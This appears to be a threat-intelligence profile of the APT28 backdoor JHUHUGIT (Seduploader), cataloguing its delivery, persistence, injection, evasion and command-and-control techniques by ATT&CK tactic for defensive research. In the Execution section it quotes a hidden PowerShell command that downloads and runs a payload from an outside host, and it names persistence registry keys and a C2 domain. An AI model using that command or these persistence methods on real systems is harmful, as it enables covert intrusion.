JHUHUGIT
- Type
- Backdoor
- Capabilities
- ReconnaissancePersistencePrivilege escalationProcess injectionDefense evasion
- Delivery
- Spearphishing
- Platforms
- Windows
JHUHUGIT, also known as Seduploader, is a Windows reconnaissance backdoor used by APT28, the Russian military intelligence–linked cyberespionage group also known as Fancy Bear and Pawn Storm. It profiles compromised systems by enumerating running processes and collecting network interface information. Some variants capture screenshots by simulating the screenshot key, retrieving the resulting clipboard image, and converting it to JPEG format. Seduploader has been deployed as a two-component package comprising a dropper and a payload.
APT28 has delivered JHUHUGIT through malicious Microsoft Word documents, including documents that use Dynamic Data Exchange to execute PowerShell commands. VBA macros have also been used to drop and execute Seduploader variants. The malware establishes persistence through scheduled tasks triggered at user logon and registry-based autostart mechanisms, including execution of JavaScript through the Windows Rundll32 utility. It has exploited CVE-2015-1701 and CVE-2015-2387 for privilege escalation.
JHUHUGIT injects its own functions into browser processes and implements fallback command-and-control connectivity: it first attempts a direct connection, then uses the host's proxy settings, and finally injects code into a running browser if proxy-based communication fails. Some variants Base64-encode HTTP POST command-and-control data. Its dropper can delete itself, and other variants can delete specified files.
Associated vulnerabilities
25 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
13 more CVEs associated with this family tracked in Mallory.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Komplex, SlimAgent, JHUHUGIT, Seduploader, Zebrocy | SlimAgent, JHUHUGIT, Seduploader, Zebrocy, PythocyDbg
Techniques & procedures
50 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
4 techniques
Initial Access
Titles such as “Operation RoundPress Rolls on with More Half-Click Webmail Zero-Days” and “DealersChoice is Sofacy’s Flash Player Exploit Platform” describe browser/webmail-triggered exploitation.
Multiple entries describe APT28/Pawn Storm/Sofacy campaigns using lure documents, themed emails, and phishing schemes, e.g., “APT28 Hacker Group Targeting Europe, Americas, Asia in Widespread Phishing Scheme”, “New Spear Phishing Campaign Pretends to be EFF”, and “distribution of emails with 'instructions' on 'updating the operating system'”.
Examples include “PowerPoint mouse-over event abused to deliver Graphite implants”, “BREXIT-themed lure document that delivers ZEKAPAB malware”, “fake NATO training docs to breach govt networks”, and repeated references to lure documents delivering Zebrocy or Seduploader.
“The attack usually starts with an email containing either a malicious link or malicious attachment.” / “their preferred method consisted of malicious links embedded in emails sent to Sednit’s targets.”
Execution
10 techniques
Execution
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)
Here are some of the Seduploader features: ... Execution of code;
“powershell.exe -NoP -sta -NonI -W Hidden… DownloadString('http://sendmevideo.org/.../eee.txt'); powershell -enc $e” / “Seduploader dropper replaced by PowerShell commands delivering the Seduploader payload.”
[JHUHUGIT](https://attack.mitre.org/software/S0044) uses a .bat file to execute a .dll.(Citation: Talos Seduploader Oct 2017)
Unlike previous campaigns from this actor, the flyer does not contain an Office exploit or a 0-day, it simply contains a malicious Visual Basic for Applications (VBA) macro.
JHUHUGIT has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process. Leviathan has used JavaScript to create a shortcut file in the Startup folder.
Examples include “APT28 racing to exploit CVE-2017-11292 Flash vulnerability before patches are deployed”, “New Adobe Flash Zero-Day Used in Pawn Storm Campaign”, and “Adobe & Windows Zero-Day Exploits Likely Leveraged by Russia’s APT28”.
The decoy document is a flyer concerning the Cyber Conflict U.S. conference with the following filename Conference_on_Cyber_Conflict.doc.
APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents.
Persistence
7 techniques
Persistence
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\Environment\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)
“continued using… macros in a Microsoft Office documents”
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)
Privilege Escalation
8 techniques
Privilege Escalation
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered a Windows shell script under the Registry key <code>HKCU\Environment\UserInitMprLogonScript</code> to establish persistence.(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)
“Sandworm Team leveraged Scheduled Tasks through a Group Policy Object (GPO) to execute CaddyWiper at a predetermined time.” / “APT29 used scheduler and schtasks to create new tasks on remote host as part of their lateral movement… updating an existing legitimate task to execute their tools and then returned the scheduled task to its original configuration.”
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a scheduled task to run each time the current user logs in.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)
[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has exploited CVE-2015-1701 and CVE-2015-2387 to escalate privileges.(Citation: ESET Sednit Part 1)(Citation: ESET Sednit July 2015)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has registered itself as a service to establish persistence.(Citation: ESET Sednit Part 1)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)
[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.(Citation: ESET Sednit Part 1)
Stealth
11 techniques
Stealth
The content repeatedly describes payloads, strings, configuration files, scripts, URLs, and binaries being obfuscated or encoded using Base64, XOR, RC4, AES, RSA, hex encoding, custom algorithms, and other methods across many malware families and threat actors.
the addresses of important Windows API functions are resolved dynamically.
Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.(Citation: F-Secure Sofacy 2015)(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)
[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)
Many entries explicitly describe deleting artifacts 'to cover tracks,' 'evade detection,' 'remove evidence,' 'reduce their footprint,' or as part of 'post-intrusion cleanup process.' Examples include APT28 deleting files to cover tracks, FIN5 using SDelete to clean up the environment, and Dragonfly deleting operational files as part of cleanup.
The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)
“its first part will create a mutex named flPGdvyhPykxGvhDOAZnU”
[JHUHUGIT](https://attack.mitre.org/software/S0044) is executed using rundll32.exe.(Citation: F-Secure Sofacy 2015)(Citation: Talos Seduploader Oct 2017)
This code primarily serves to delay execution with I/O intensive operations, in order to exhaust security products’ analysis limits. It may also detect security software emulators that wrongly implement memory management... It was then replaced by a more common anti-analysis technique based on time measurement.
The final part of the VBA script changes the properties of these two files, setting their attributes to Hidden.
“The shell config allows the attacker to execute arbitrary code directly in-memory.”
Credential Access
1 technique
Credential Access
“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”
Discovery
8 techniques
Discovery
The tools ... check for the existence of specific files, windows registry entries ... For example, SIG2 includes System\CurrentControlSet\Control\CrashImage and SIG23 includes software\microsoft\NetWin.
A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers network interface card information.(Citation: Unit 42 Playbook Dec 2017)
[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a list of running processes on the victim.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)
The content repeatedly describes malware and threat actors collecting OS version, computer name, architecture, CPU, memory, disk, language, and other host details; examples include use of commands such as ver, systeminfo, hostname, uname -m, sw_vers -productVersion, and fsutil.
Examples include: "Babuk can enumerate disk volumes," "Confucius has used a file stealer that can examine system drives," and "XAgentOSX contains the getInstalledAPP function to run ls -la /Applications to gather what applications are installed."
Numerous entries mention enumerating drives, logical disks, disk type, free space, or volume information; examples include 'Babuk can enumerate disk volumes,' 'Cuba can enumerate local drives,' and 'TAINTEDSCRIBE can use DriveList to retrieve drive information.'
This code primarily serves to delay execution with I/O intensive operations, in order to exhaust security products’ analysis limits. It may also detect security software emulators that wrongly implement memory management... It was then replaced by a more common anti-analysis technique based on time measurement.
[JHUHUGIT](https://attack.mitre.org/software/S0044) obtains a build identifier as well as victim hard drive information from Windows registry key <code>HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum</code>. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant gathers the victim storage volume serial number and the storage device name.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)
Collection
3 techniques
Collection
“Sednit chose to use keybd_event to send a “Print screen” keystroke and then retrieve the image from the clipboard.”
A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant takes screenshots by simulating the user pressing the "Take Screenshot" key (VK_SCREENSHOT), accessing the screenshot saved in the clipboard, and converting it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)(Citation: Talos Seduploader Oct 2017)
A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.(Citation: Unit 42 Playbook Dec 2017)
Command and Control
8 techniques
Command and Control
[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.(Citation: ESET Sednit Part 1)
"The Command & Control (CC) of the analysed sample is myinvestgroup[.]com."
[JHUHUGIT](https://attack.mitre.org/software/S0044) variants have communicated with C2 servers over HTTP and HTTPS.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018)(Citation: Unit 42 Playbook Dec 2017)
JHUHUGIT tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy.
Some organizations force their computers to pass through an HTTP proxy to access the Internet... Seduploader searches for proxy configuration settings in the Firefox browser... retrieves the proxy credentials... Once the proxy information has been retrieved, Seduploader sends an HTTP POST request to Google via the proxy
[JHUHUGIT](https://attack.mitre.org/software/S0044) can retrieve an additional payload from its C2 server.(Citation: ESET Sednit Part 1)(Citation: Unit 42 Sofacy Feb 2018) [JHUHUGIT](https://attack.mitre.org/software/S0044) has a command to download files to the victim’s machine.(Citation: Talos Seduploader Oct 2017)
ADVSTORESHELL C2 traffic is encrypted, then encoded with Base64 encoding. APT19 HTTP malware variant used Base64 to encode communications to the C2 server. APT33 has used base64 to encode command and control traffic.
A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant encodes C2 POST data base64.(Citation: Unit 42 Playbook Dec 2017)
Exfiltration
1 technique
Exfiltration
Here are some of the Seduploader features: Screenshot capture (with the GDI API); data/configuration exfiltration;
Observables
174 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
74 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.